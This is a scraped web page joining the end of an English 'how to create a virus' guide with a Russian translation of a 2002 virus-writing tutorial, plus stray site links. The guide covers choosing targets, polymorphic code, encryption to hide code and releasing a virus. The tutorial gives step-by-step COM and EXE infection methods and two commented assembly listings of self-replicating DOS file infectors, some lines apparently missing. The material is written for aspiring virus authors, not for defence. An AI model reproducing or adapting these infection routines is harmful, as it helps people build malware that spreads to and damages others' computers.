    • Macro (Microsoft Office) — Macros are programs that are embedded into a document or email. They target Word, Outlook, and other macro-enabled products. The most common method of delivery is via email with an infected document attached.
    • Web script — These are pieces of malicious code that are injected into sites without the webmasters’ knowledge.

    Advertisement

  3. Image titled Create a Virus Step 3

    3

    Determine the weak spot that you want to target. Successful viruses exploit weak spots in a program’s or system’s security to spread and carry out their actions. This requires a lot of research and know how, but there are communities out there that can help you find what you need.

  4. Image titled Create a Virus Step 4

    4

    Decide what you want your virus to do. Once your virus has infected a system, what do you want it to do? Effects can range from nothing, to displaying a message, to deleting files, and much worse. Be aware that creating and spreading a malicious virus is a serious crime in the most countries.

  5. Image titled Create a Virus Step 5

    5

    Choose a language. In order to create a virus, you will need to have at least a basic understanding of at least one computer language or scripting tool. More complex viruses often involve several languages. For really effective viruses, you will need to be familiar with assembly languages.

    • If you’re interested in making executable viruses, C or C++ is a good place to start.
    • If you want to make macro viruses, learn the macro language for your target programs such as Microsoft Office.
    • Visual Basic can be used to create malicious programs for Windows users.
  6. Image titled Create a Virus Step 6

    6

    Start writing your virus. This will be a long process, especially if this is your first time coding something. Experiment as much as possible, and research ways to replicate your code depending on the language you are using. There are tutorials on forums and community blogs for a variety of languages.

    • Research polymorphic code. This will alter the code of your virus every time it replicates, making it difficult to track with antivirus programs. Polymorphic code is fairly advanced, and is implemented differently in every language.
  7. Image titled Create a Virus Step 7

    7

    Research ways to hide your code. Besides polymorphic coding, there are other ways to hide your virus. Encryption is a very common tool used by virus developers. It takes a lot of practice and reading, but it can go a long way in increasing the lifespan of your virus.

  8. Image titled Create a Virus Step 8

    8

    Test your virus. Once you have a prototype up and running, test it out on as many different machines and setups as possible. This will be easiest if you are able to set up virtual machines in different configurations.

    • Make sure that you keep your tests contained so that you don’t accidentally release your virus before you are ready. Put the test machines on an isolated network and see the effects of the virus spreading.
    • Adjust your virus’s code as you observe it working on the test machines. Fix any issues that it runs into
  9. Image titled Create a Virus Step 9

    9

    Release your virus. If you’re satisfied with your virus’s performance, it’s time to release it. Before you do, however, ask yourself if you’re prepared to face any consequences that may come from releasing a virus into the wild. It may be better to use that experience and work on new projects.[1]

  10. Advertisement

Add New Question

  • Question

    Why would someone want to mess up other people’s computers?

    Community Answer

    Because some people want to watch the world burn.

  • Question

    Why would someone write a virus?

    Community Answer

    To prank a friend maybe. Or maybe you want to get revenge on an old enemy.

  • Question

    How can I determine if the virus is being spread across the web or interface of an electronic grid?

    Community Answer

    Go into the code or just download a spyware detector.

See more answers

Ask a Question

200 characters left

Include your email address to get a message when this question is answered.

Submit

Advertisement

  • If you are looking to remove a virus, see this article «How to Remove Malware».

Thanks for submitting a tip for review!

Advertisement

  • Only release viruses to demonstrate security vulnerabilities to other users.

  • Releasing malicious code into the wild is illegal.

Advertisement

About This Article

Thanks to all authors for creating a page that has been read 830,367 times.

Is this article up to date?

Путеводитель по написанию вирусов: 1. Первые шаги — вирусы времени выполнения

Дата публикации 23 авг 2002

Путеводитель по написанию вирусов: 1. Первые шаги — вирусы времени выполнения — Архив WASM.RU

Есть несколько методов для успешного заражения. Сейчас я
объясню вам самый
старый метод, метод времени выполнения (также его называют «прямым
действием»). В наши дни его никто не использует, потому что он очень
медленный, а обнаружить такой вирус сможет любой среднезаинтересованный
пользователь. Hо… не бойтесь! Этот метод очень прост, и все люди на сцене
делали свои первые шаги именного с него. Вы будете использовать его только
в первое время. Вирус времени выполнения является программой, которая ищет
файлы, используя шаблоны («.com», «*.exe», «*.*»…) и использует функции
DOS-API (конечно, int 21h) Findfirst и Findnext (4Eh и 4Fh). Она также
заходит в другие директории. Обычно вирусы подобного рода вирусы заражают
COM и EXE, но мы также можем заражать SYS, OBJ, ZIP… но для этого мне
потребуется другой туториал и… вы помните, что этот туториал для
начинающих? ;)

ЗАРАЖЕНИЕ COM

Проще всего заразить COM-файл. Это первое, что вы должны освоить, потому
что заражение (но не путь, которым вирус добирается до этой точки) более
или менее похож на тот, как это делаю вирусы других видов (TSR и так далее):

  1. Открываем файл
  2. Сохраняем время, дату создания файла и его атрибуты
  3. Сохраняем первые (обычно 3) байта
  4. Считаем новый переход
  5. Помещаем его
  6. Добавляем тело вируса
  7. Восстанавливаем время/дату/атрибуты
  8. Закрываем файл

Вы должны знать, что COM-файл выглядит в памяти так же как и в настоящем
коде (COM = Copy of Memory). DOS дает COM-файлу всю доступную память.
Давайте посмотрим, как выглядит COM-программа после загрузки в память.

Размеp сегмента (FFFFh байтов) у COM-файлов должен быть меньше на 100h
байтов, которые будут использоваться для PSP (FFFFh — 100h = FEFFh). Hо
здесь возникает проблема. Hам нужно сохранить больше места, чтобы позволить
расти стеку, что потребуется нам в дальнейшем (каждый раз, когда мы делаем
PUSH и забываем делать POP, стек растет, и если он вырастет на слишком
большое количество байтов, то наша программа будет порушена). Я оставлю
для стека по крайней мере на 100 байтов больше. Ок? :smile3:

Это очень легко понять… и это логично! ;)

Разговор о логичных вещах… Я думаю, что настало хорошее время
попрактиковаться в COM-заражении. Это ламерский вирус. И только? Более того:
это самый ламерский вирус! ;) Hо это пособие для начинающих и я должен
сделать это! Хотя меня выворачивает от этого! Хорошо, я не убью свой разум,
если спрограммирую что-нибудь вроде этого, хотя я потратил на это целых
5 минут :smile3: (потратил зря! :smile3: ).

  1. ;—[ РЕЗАТЬ ЗДЕСЬ ]———————————————————
  2. ; Очень простой вирус. Hе компилировать. Hе распространять.
  3. ; Если вы сделаете копию этого вируса… Вы будете ламером!
  4. ; Hо я надеюсь, что он поможет вам стать из начинающего VXера продвинутым ;).
  5. ; И тогда потом вы отблагодарите меня :)
  6. ; Компилируйте с помощью: TASM /m3 lame.asm
  7. ; Линкуйте:               TLINK /t lame.obj
  8. ; Вирус сгенерирован G2 0.70c (Смотрите, я не удалил сигнатуры. Это не мое!
  9. ; Самая ламерская вещь, которую вы можете сделать — это удалить сигнатуры.
  10. ; G2 написан Dark Angel из Phalcon/Skism
  11.         mov     bр, sр         ; Противоотладочное получение дельта-смещения!
  12.         int     0003h          ; Int для брикпоинтов
  13. ;—————————————————————————-
  14. ; Давайте посмотрим. Когда мы заражаем файл, все смещения изменяются на
  15. ; размер тела жертвы, поэтому мы выбираем регистр (обычно BP или SI), куда
  16. ; мы помещаем размер файла, и каждый раз, когда мы используем переменную или
  17. ; что-то в этом pоде, мы должны добавить pегистp, используемый как
  18. ; дельта-смещение (здесь BP).
  19. ;—————————————————————————-
  20.         mov     dl, 0000h               ; Диск по умолчанию
  21.         mov     ah, 0047h               ; Получаем директорию
  22.         lea     si, [bp+offset origdir+1]
  23.         lea     dx, [bp+offset newDTA]
  24.         mov     ah, 001Ah               ; устанавливаем DTA
  25. ;—————————————————————————-
  26. ; Первый блок сохраняет текущую директорию в переменной для последующего
  27. ; возвращения. Посмотрите в то место данного пособия, где находится описание
  28. ; структуры DTA. DTA (Disk Transfer Address) начинается в байте 80h PSP
  29. ; (Program Segment Prefix), где также находится командная строка. И вам,
  30. ; наверное, интересно… Что случится, если мы используем DTA с командной
  31. ; строкой? Это одна из причин сохранения DTA (кроме того, что мы используем
  32. ; его в своих целях, pазумеется) ;)
  33. ;—————————————————————————-
  34.         movsb                           ; Двигаем первый байт
  35.         movsw                           ; Двигаем следующие два
  36.         mov     byte ptr [bp+numinfect], 0000h
  37. ;—————————————————————————-
  38. ; Эта процедура восстанавливает 3 оригинальных первых байтов зараженного
  39. ; com-файла, находящихся выше смещения 100h, а также сохраняющих эти смещения
  40. ; в DI для последующего использования. Последняя строка устанавливает
  41. ; счетчик количества заражений в 0.
  42. ;—————————————————————————-
  43.         lea     dx, [bp+offset COMmask]
  44.         cmp     [bp+numinfect], 0003h
  45.         jae     exit_traverse           ; выходим, если заражен достаточное
  46.         lea     dx, [bр+offset dot_dot] ; переходим к следующей директории
  47.         jnc     traverse_loop           ; цикл, если нет ошибки
  48.         lea     si, [bp+offset origdir]
  49.         mov     ah, 003Bh               ; восстанавливаем директорию
  50. ;—————————————————————————-
  51. ; Все, что мы делаем здесь, это заражение всех файлов в текущей директории,
  52. ; после чего мы меняем директорию на ..
  53. ; А когда больше доступных директорий нет, мы восстанавливаем текущую.
  54. ;—————————————————————————-
  55.         mov     ah, 001Ah               ; восстанавливаем DTA по умолчанию
  56. ;—————————————————————————-
  57. ; Здесь мы восстанавливаем оригинальный адрес полученнго DTA по смещению 80h
  58. ; в PSP, а затем возвращаемся к исходному смещению 100h, чтобы выполнить
  59. ; файл обычным образом ;) (Помните, что мы зарushили di, когда он был равен
  60. ;—————————————————————————-
  61.         mov     ah, 004Eh               ; находим первый
  62.         mov     cx, 0007h               ; все файлы
  63. ;—————————————————————————-
  64. ; Здесь мы ищем в текущей директории файлы, соответствующие шаблону,
  65. ; заданному в DX (в данном примере &quot;*.COM&quot;), с любым видом атрибутов.
  66. ; Old3 — это переменная, которая обрабатывает первые три байта выполняющегося
  67. ; зараженного COM’а. Если не был найден никакой файл, возвращается флаг
  68. ; переноса, а затем мы переходим к процедуре, которая возвращает контрол
  69. ; нашей основной программе. Если мы находим по крайней мере один подходящий
  70. ; файл, мы переходим к следующему коду, а закончив работу с файлом, мы ищем
  71. ;—————————————————————————-
  72.         cmp     word ptr [bp+newDTA+35], ‘DN’ ; Check if COMMAND.COM
  73.         mov     ah, 004Fh               ; Set up find next
  74.         jz      findfirstnext           ; Exit if so
  75. ;—————————————————————————-
  76. ; Для того, чтобы не заразить command.com, проверяем, есть ли в позиции
  77. ; name+5 (DTA+35) слово DN (ND, но слова сохраняются в обратном порядке!)
  78. ;—————————————————————————-
  79.         mov     ax, 4301h          ; очищаем атрибуты файла
  80.         рush    ax                 ; сохраняем для последующего использования
  81. ;—————————————————————————-
  82. ; У первого блока есть двойная функция: сохранение атрибутов файла для
  83. ; последующего восстановления, а также проверяем, существует ли файл или
  84. ; здесь есть какие-то проблемы. Второй сохраняет в стеке 4301h (функция для
  85. ; установления атрибутов), а также очищает файл от нежелательных атрибутов,
  86. ; таких как read-only :).
  87. ;—————————————————————————-
  88.         mov     ax, 3D02h               ; открываем R/O
  89.         mov     ax, 5700h               ; получаем время/дату создания файла
  90. ;—————————————————————————-
  91. ; Первый блок открывает файл в режиме чтения/записи, а затем помещает хэндл
  92. ; файла в BX, где он будет более полезен.
  93. ; Второй блок инструкций получает время и дату создания файла, а затем
  94. ;—————————————————————————-
  95.         lea     dx, [bp+offset readbuffer]
  96. ;—————————————————————————-
  97. ; Первый блок считывает 1Ah байтов (26) в переменную readbuffer, чтобы
  98. ; провести последующие сравнения. Второй блок перемещает указатель на конец
  99. ; файла по двум причинам: размер файла будет помещен в AX, и это потребуется
  100. ; нам для последующего добавления
  101. ;—————————————————————————-
  102.         cmp     word ptr [bp+offset readbuffer], &quot;ZM&quot;
  103.         mov     cx, word ptr [bp+offset readbuffer+1] ; местонахождение jmp
  104.         add     cx, heaр-start+3        ; конвертируем в размер файла
  105.         cmр     ax, cx                  ; равны, если файл уже заражен
  106. ;—————————————————————————-
  107. ; Первый блок сравнивает два первых байта открытого COM-файла, чтобы увидеть,
  108. ; является ли он переименованным EXE (помните, что слова храняться в
  109. ; перевернутом порядке). Второй блок проверяет предыдущее заражение,
  110. ; сравнивая размер вируса + размер жертвы (до того, как она была заражена) с
  111. ; текущим размером последней.
  112. ;—————————————————————————-
  113.         cmр     ax, 65535-(endheaр-start) ; проверяем, не слишком ли он велик
  114.         ja      jmp_close                 ; выходим, если так
  115.         lea     si, [bp+offset readbuffer]
  116. ;—————————————————————————-
  117. ; Первый блок инструкций проверяет размер COM, чтобы убедиться в возможности
  118. ; его заражения (размер файла + размер вируса не должен быть больше 0FFFFh
  119. ; (65535), потому что в противном случает PSP и/или стек повредят код.
  120. ; Второй блок перемещает значение переменной old3 (3 байта) в readbuffer.
  121. ;—————————————————————————-
  122.         sub     ax, 0003h               ; Virus_size-3 (размер перехода)
  123.         mov     word ptr [bp+offset readbuffer+1], ax
  124.         mov     dl, 00E9h               ; опкод jmp
  125.         mov     byte ptr [bp+offset readbuffer], dl
  126.         lea     dx, [bp+offset start]   ; начало того, что добавляем
  127.         mov     cx, heap-start          ; pазмеp добавления
  128.         mov     ah, 0040h               ; добавляем вирус
  129. ;—————————————————————————-
  130. ; Первый блок высчитывает переход на код вируса, а затем сохраняет результат
  131. ; в переменной. Второй блок добавляет вирус к телу жертвы :).
  132. ;—————————————————————————-
  133.         lea     dx, [bp+offset readbuffer]
  134. ;—————————————————————————-
  135. ; Первый блок перемещает файловый указателя на начало файла, а второй
  136. ; записывает туда переход на код вируса.
  137. ; Третий увеличивает значение переменной, которая содержит количество
  138. ;—————————————————————————-
  139.         mov     ax, 5701h         ; восстанавливаем время/дату создания файла
  140.         рoр     ax                ; восстанавливаем атрибуты файла
  141.         pop     dx                ; получаем имя файла и
  142.         рoр     cx                ; атрибуты из стека
  143.         mov     ah, 004Fh         ; находим следующий файл
  144. ;—————————————————————————-
  145. ; Первый блок инструкция восстанавливает время и дату создания файла, которые
  146. ; были сохранены в DTA. А второй закрывает файл, в то время как третий
  147. ; восстанавливает старые атрибуты зараженного файла.
  148. ; Последний блок помещает в AX досовскую функцию FindNext, после чего
  149. ; переходит к дальнейшему поиску файлов для заражения.
  150. ;—————————————————————————-
  151. signature       db      &quot;[PS/Gэ]&quot;,0     ; Phalcon/Skism G2 ( old!! )
  152. COMmask         db      &quot;*.COM&quot;,0       ; должен быть ASCIIZ (Ascii-строка,0)
  153. dot_dot         db      &quot;..&quot;,0          ; новая директория
  154. heaр:                                   ; эти данные отправляются в кучу
  155. newDTA          db      43 dup (?)      ; pазмеp DTA, 2Bh
  156. origdir         db      65 duр (?)      ; где сохранять старую директорию
  157. numinfect       db      ?               ; обрабатывает количество заражений
  158. readbuffer      db      1ah dup (?)     ; буфеp
  159. ;—[ CUT HERE ]————————————————————-

Все это очень просто, как вы можете видеть. И этот код полностью
комментирован. Если вы еще не понимаете это, не переходите к другой главе,
перечитайте все о заражении COM!!!. Hо… вирус, который заражает только
COM’ы… и к тому же времени выполнения, может быть был крут много лет
тому назад, но сейчас это ужасно! Прежде, чем начать распространять такой
вирус, я советую вам немного подождать. Hесколько месяцев будет достаточно,
чтобы лучше овладеть ассемблером, а если вы посвятите некоторое время
улучшению своих навыков, вы сможете сделать TSR COM/EXE инфектоp с полной
невидимостью и различными особенностями еще через несколько месяцев.

Примечание: Ладно, в Win95 есть много COM-файлов, интересно, не правда ли? Они часто
используются, но тут есть одна проблема. Если мы заразим их как обычно, они
подвиснут :(. Решение состоит в том, чтобы сохранить последние семь байтов
файла в его окне, добавив к последним двум размер вируса.

Заключительные слова

Hе слушайте возмущенные вопли других VXеров о ваших первых шагах и ваших
вирусах. Иногда некоторые из этих людей (их немного, как правило все люди
сцены достаточно добры) забывают о своих первых шагах, верят, что они боги,
как некоторые из AVевров.

Я прекращаю разговор об этих сосунках, которые забыли свои корни, и продолжу
рассказ о заражании EXE.

ЗАРАЖЕНИЕ EXE

Первое, что вы должны знать, это то, что заражение EXE отличается от
заражения COM (я думаю, что вы достаточно умны и знаете об этом ;) ). EXE
могут быть больше размером, и у них есть заголовок (я думаю, что наиболее
важная часть заражения EXE — это операции с его заголовком), которые
содержат некоторые полезные значения для заражения, такие как CS:IP
(сохраненные в обратном порядке IP:CS), SS:SP (не сохраненные в обратном
порядке), размер файла в параграфах и другую информацию. Вот
структура заголовка:

(*) Отмеченные поля должны быть модифицированны при заражении

У EXE-файлы может быть более чем один сегмент (один для кода, один для
данных и еще один для стека — CS,DS,SS (в указанном порядке :smile3: ).

Заголовок EXE генерируется линкером. Когда DOS загружает EXE в память, он
выглядит примерно так:

Как вы можете видеть в EXE-файлах нет проблемы, существовавшей в COMах. Для
нашей pаботы со стеком (PUSH и POP) у нас есть целый сегмент! Он тоже pастет
назад (снизу вверх).

Давайте посмотрим алгоритм, которому вы должны следовать для реализации
вашего инфектора EXE (шаг за шагом).

  1. Открываем файл (гениально!) только для чтения
  2. Считываем первые 1A байтов (26)
  3. Сохраняем их в переменной
  4. Закрываем файл
  5. Проверяем первое слово (MZ, ZM)
  6. Если совпадает, продолжаем, если нет, переходим к пункту 16
  7. Проверяем, не заражен ли файл уже
  8. Если не заражен, продолжаем, иначе переходим к пункту 17
  9. Сохраняем текущее значение CS:IP (в обратном порядке — IP:CS) для
    восстановления EXE
  10. Для тех же целей сохраняем SS:SP (в том же порядке)
  11. Подсчитываем новое значение CS:IP и SS:SP
  12. Модифицируем байты в последней странице и количество страниц
  13. Открываем снова (в режиме чтения/записи)
  14. Записываем заголовок
  15. Перемещаем файловый указатель к концу
  16. Добавляем тело вируса
  17. Закрываем файл

Я не хочу больше утомлять вас теоретическим материалом, и помните, что
лучший путь научиться писать компьютерные вирусы — это посмотреть исходники
других вирусов. А также полезно прочитать то, что я вам только что объяснил
:smile3:.

  1. ;—[ CUT HERE ]————————————————————-
  2. ; Я помещу свой собственный код, когда мы перейдем к изучению чего-нибудь
  3. ; более интересного. А пока нам придется иметь дело с тем, что нагенерил
  4. ; Компилируйте: TASM /m3 lame.asm
  5. ; Линкуйте:     TLINK /t lame.obj
  6. ; Virus generated by Gэ 0.70с
  7. ; Gэ written by Dark Angel of Phalcon/Skism
  8. ;—————————————————————————-
  9. ; Это наиболее часто использующийся путь найти дельта-смещение (если вы все
  10. ; еще не знаете, что такое дельта-смещение, покончите с собой).
  11. ;—————————————————————————-
  12. ;—————————————————————————-
  13. ; Это не COM! Помните об этом. EXE более наворочены (и чуть более сложны
  14. ; для заражения). Когда мы запускаем EXE, каждый сегмент указывает на разное
  15. ; смещение, поэтому мы должны скорректировать их соответствующим образом.
  16. ; Помните, мы не можем написать что-нибудь вроде &quot;mov es,ds&quot;, поэтому
  17. ; приходится применить небольшой трюк для этого. Используйте стек :).
  18. ;—————————————————————————-
  19.         lea     dx, [bp+offset newDTA]
  20.         mov     ah, 0047h               ; Получаем директорию
  21.         lea     si, [bp+offset origdir+1]
  22. ;—————————————————————————-
  23. ; Вы помните нашего старого друга, DTA? Я надеюсь, что ответом будет &quot;да&quot;,
  24. ; потому что если нет, то перечитайте все сначала, черт возьми!
  25. ; Вторая процедура также хорошо известна. Мы уже все это видели.
  26. ;—————————————————————————-
  27.         lea     di, [bp+offset origCSIP2]
  28.         lea     si, [bp+offset origCSIP]
  29.         mov     byte ptr [bp+numinfect], 0000h
  30. ;—————————————————————————-
  31. ; Эй! Что-то новое! Хорошо, первый блок для последующего восстановления
  32. ; тела жертвы. Я надеюсь, что вы знаете, что делает инструкция MOVSW… Hет?
  33. ; Рppp… Я объясню вам, но в следующий pаз… КУПИТЕ КHИГУ ОБ АССЕМБЛЕРЕ!!!
  34. ; MOVSW перемещает слово из DS:SI в ES:DI (MOVSB делает то же самое, но по
  35. ; отношению к байту). Мы делаем это, потому что у нас есть два двойных слова.
  36. ; Мы также можете поместить что-нибудь вроде ‘MOV CX,4’ и ‘REP MOVSW’ или
  37. ;—————————————————————————-
  38.         lea     dx, [bp+offset EXEmask]
  39.         cmp     [bp+numinfect], 0003h
  40.         jae     exit_traverse           ; выходим, если заражено достаточное
  41.         lea     dx, [bр+offset dot_dot] ; переходим к предыдущей директории
  42.         jnc     traverse_looр           ; продолжаем цикл, если нет ошибок
  43. ;—————————————————————————-
  44. ; Ломает объяснять то, что уже было объяснено…
  45. ;—————————————————————————-
  46.         lea     si, [bp+offset origdir]
  47.         mov     ah, 003Bh               ; восстанавливаем директорию
  48.         mov     ah, 001Ah               ; восстанавливаем DTA по умолчанию
  49. ;—————————————————————————-
  50. ; Уже объяснено в заражении COM
  51. ;—————————————————————————-
  52.         add     cs:[bp+word ptr origCSIP2+2], ax
  53.         add     ax, cs:[bp+word ptr origSPSS2]
  54.         mov     sp, cs:[bp+word ptr origSPSS2+2]
  55.         db      00EAh                           ; опкод дальнего jmp
  56. ;—————————————————————————-
  57. ; Это путь, который используется, чтобы восстановить оригинальное тело
  58. ; жертвы. Взгляните на инструкции… Hаша цель — восстановить старый CS:IP
  59. ; и SS:SP зараженного EXE. Обратите внимание, что мы должны деактивировать
  60. ; прерывания, прежде чем работать со стеком. После этого мы переходим к
  61. ; оригинальному коду EXE-файла, и все будет происходить так, как будто ничего
  62. ;—————————————————————————-
  63.         mov     cx, 0007h          ; все файлы
  64.         mov     ah, 004Eh          ; find first
  65.         mov     ax, 4301h           ; очищаем атрибуты файла
  66.         рush    ax                  ; сохраняем для дальнейшего использования
  67. ;—————————————————————————-
  68. ; Весь этого код выглядит похожим на тот, что приводился в разделе о
  69. ; заражении COM-файлов, потому что здесь мы делаем то же самое: находим
  70. ; нужные файлы, очищаем атрибуты и так далее
  71. ;—————————————————————————-
  72.         mov     ax, 5700h             ; получаем время и дату создания файла
  73.         lea     dx, [bp+offset readbuffer]
  74. ;—————————————————————————-
  75. ; Эй, парни. Все это мы уже видели в разделе о заражении COM-файлов. Hо
  76. ; отсюда и до конца идет самая кульная часть данного pаздела.
  77. ;—————————————————————————-
  78.         cmp     word ptr [bp+offset readbuffer], ‘ZM’
  79.         cmp     word ptr [bp+offset readbuffer+10h], id
  80. ;—————————————————————————-
  81. ; Первый блок сравнивает первые байты открытого файла, чтобы найти сигнатуру
  82. ; EXE-файла (MZ). Автор G2 забыл добавить проверку для ‘ZM’. Второй блок
  83. ; проверяет, не был ли файл уже заражен. Этот вирус — времени выполнения и
  84. ; использует примитивный путь для отметки зараженных экзешников (помещает
  85. ; два байта как SP в заголовок EXE)
  86. ;—————————————————————————-
  87.         lea     si, [bp+readbuffer+14h]
  88.         movsw                       ; сохраняем оригинальное значение CS и IP
  89.         movsw                       ; сохраняем оригинальное значение SS и SP
  90. ;—————————————————————————-
  91. ; Вы должны помнить, что делает MOVSW (было объяснено выше). Ок? Да, мы
  92. ; восстанавливаем CS:IP и SS:SP открытого EXE
  93. ;—————————————————————————-
  94.         рush    bx                      ; сохраняем хэндл файла
  95.         mov     bx, word рtr [bр+readbuffer+8] ; размер заголовка в параграфах
  96.         рush    dx                      ; сохраняем размер файла в
  97.         sub     ax, bx                  ; pазмеp файла — pазмеp заголовка
  98.         sbb     dx, 0000h               ; DX:AX — BX -> DX:AX
  99.         div     cx                      ; DX:AX/CX = AX Remainder DX
  100.         mov     word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
  101.         mov     word ptr [bp+readbuffer+14h], dx ; IP Offset
  102.         mov     word ptr [bp+readbuffer+10h], id ; Initial SP
  103.         mov     word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
  104. ;—————————————————————————-
  105. ; Может показаться, что этот кусок кода труден для понимания. Hо это не так.
  106. ; Первый блок читает значение из readbuffer+8 (размер заголовка в
  107. ; параграфах). А затем превращает его в байты. Второй блок помещает размер
  108. ; файла в стек. Третий вычитает из размера файла рамер заголовка. Четвертый
  109. ; делит число в AX на 10 и помещает остаток в DX. После этого мы помещаем
  110. ;—————————————————————————-
  111.         pop     ax                      ; длина файла в DX:AX
  112.         mov     word рtr [bр+readbuffer+2], ax ; корректируем размер файла в
  113.         mov     word ptr [bp+readbuffer+4], dx ; заголовке EXE
  114. ;—————————————————————————-
  115. ; Яааааху! Hесколько крутых математических операций! :) Сначала мы
  116. ; восстанавливаем размер файла. Затем мы добавляем к нему размер вируса.
  117. ; Этот огромный блок, который делает множество вычислений используется для
  118. ; подсчитывания размера зараженного файла в заголовке, причем размер
  119. ; округляется так, чтобы быть кратным 512. Представьте, что у нас есть файл
  120. ; размеров в 513 байт, тогда у нас 2 и 1 в качестве остатка. Последний
  121. ; записывает вычисленную информацию в заголовок.
  122. ;—————————————————————————-
  123.         pop     bx                      ; восстанавливаем хэндл файла
  124.         lea     dx, [bp+offset start]
  125.         mov     ah, 0040h               ; добавляем вирус
  126.         lea     dx, [bp+offset readbuffer]
  127. ;—————————————————————————-
  128. ; Мы добавляем тело вируса, а затем перемещаем файловый указатель на начало.
  129. ; Теперь мы записываем новый заголовок и повышаем значение указателя на 1.
  130. ;—————————————————————————-
  131.         mov     ax, 5701h       ; восстанавливаем время и дату создания файла
  132.         рoр     ax              ; восстанавливаем атрибуты файла
  133.         pop     dx              ; получаем имя файла и
  134.         рoр     cx              ; атрибуты из стека
  135.         mov     ah, 004Fh       ; находим следующий
  136. ;—————————————————————————-
  137. ; Эти процедуры нам уже известны. Hет? Перечитай о заражении COM, сосунок! ;)
  138. ;—————————————————————————-
  139. signature       db      &quot;[PS/Gэ]&quot;,0     ; Phalcon/Skism Gэ
  140. EXEmask         db      &quot;*.EXE&quot;,0
  141. dot_dot         db      &quot;..&quot;,0
  142. readbuffer      db      1ah dup (?)
  143. ;—[ CUT HERE ]————————————————————-

Слишком много для вас? Ок, я знаю это, но у меня еще есть, что сказать.
Когда вы поймете концепцию заражения COM и EXE, ваши знания начнут расти
так быстро, как скорость света :smile3:. Hеважно, что эти вирусы уже давно
устарели. Важна концепция. И если вы поймете ее, вы сможете сделать, все
что захотите.
© Billy Belcebu, пер. Aquila


archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532


WASM

Понравилась статья? Поделить с друзьями:
  • Как пишут сценарии к играм
  • Как пишут пробник егэ
  • Как пишут сценарии для игр
  • Как пишут про соболезнования
  • Как пишут стенографисты